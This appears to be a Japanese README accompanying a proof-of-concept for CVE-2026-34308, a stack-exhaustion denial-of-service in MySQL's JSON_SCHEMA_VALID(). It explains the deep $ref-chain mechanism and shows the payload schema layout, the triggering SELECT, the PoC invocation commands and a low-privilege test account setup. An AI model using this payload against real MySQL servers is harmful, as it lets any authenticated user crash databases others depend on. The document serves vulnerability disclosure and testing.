
# CVE-2026-34308 の概念実証 MySQL Server の JSON コンポーネントにおけるサービス拒否(DoS)脆弱性です。`JSON_SCHEMA_VALID()` 内の深い `$ref` チェーンを介したスタック枯渇を実証し、サーバークラッシュを引き起こします。Python 製 PoC スクリプトと技術的分析が含まれています。
公式ベンダー速報: Oracle Critical Patch Update Advisory — April 2026。
Oracle MySQL Server(コンポーネント: Server: JSON)における脆弱性。
影響を受けるサポート対象バージョン: 8.0.0–8.0.45、8.4.0–8.4.8、および 9.0.0–9.6.0。
この脆弱性により、低権限ユーザーがMySQL Serverをクラッシュさせることが可能です。
CVSS 3.1ベーススコア: 6.5(可用性のみに影響)
CVSSベクター: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
確認されたメカニズム: MySQLが、深い深度制限なしにスキーマのコンパイル/検証中に、長い線形の$refポインタチェーンを含むJSON Schemaに対してJSON_SCHEMA_VALID()を評価する際に発生する深い再帰。これによりスタック枯渇が発生し、ハングまたは再現可能なクラッシュにつながります。
コールチェーン(概念):
Client SQL → JSON_SCHEMA_VALID(schema, instance)
→ internal JSON schema validation → repeated $ref resolution
→ stack exhaustion → hang / crash
このPoCでは、認証済みの任意のMySQLアカウントで十分です: *.*に対するUSAGEのみを付与します(MySQLの最小権限—接続能力—であり、SELECT、テーブルアクセス、管理者ロールは不要)。ユーザーがセッションを開いてSELECT JSON_SCHEMA_VALID(...)を実行できる場合、この状態を引き起こすことができます。
poc_schema_dos.py線形の$refチェーン(例: 深さ1200)を持つJSONスキーマを構築します:
{
"$ref": "#/definitions/l0",
"definitions": {
"l0": {"$ref": "#/definitions/l1"},
"l1": {"$ref": "#/definitions/l2"},
...
"l1200": {"type": "string"}
}
}
MySQLに送信: SELECT JSON_SCHEMA_VALID('<schema>', '"x"');
脆弱なビルドに対するテストでは、約1秒以内にサーバーがクラッシュすることが確認されています(正確なタイミングはハードウェア、ビルドフラグ、スキーマの深さに依存します)。
python3 poc_schema_dos.py --host 127.0.0.1 --port 3306 --user root --password ""
低権限アカウントをテストする場合:
CREATE USER 'test'@'%' IDENTIFIED BY 'password';
GRANT USAGE ON *.* TO 'test'@'%';
FLUSH PRIVILEGES;
その後: python3 poc_schema_dos.py --user test --password password
6.5 — AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
poc_schema_dos.py: 概念実証スクリプトREADME.md: 本ファイル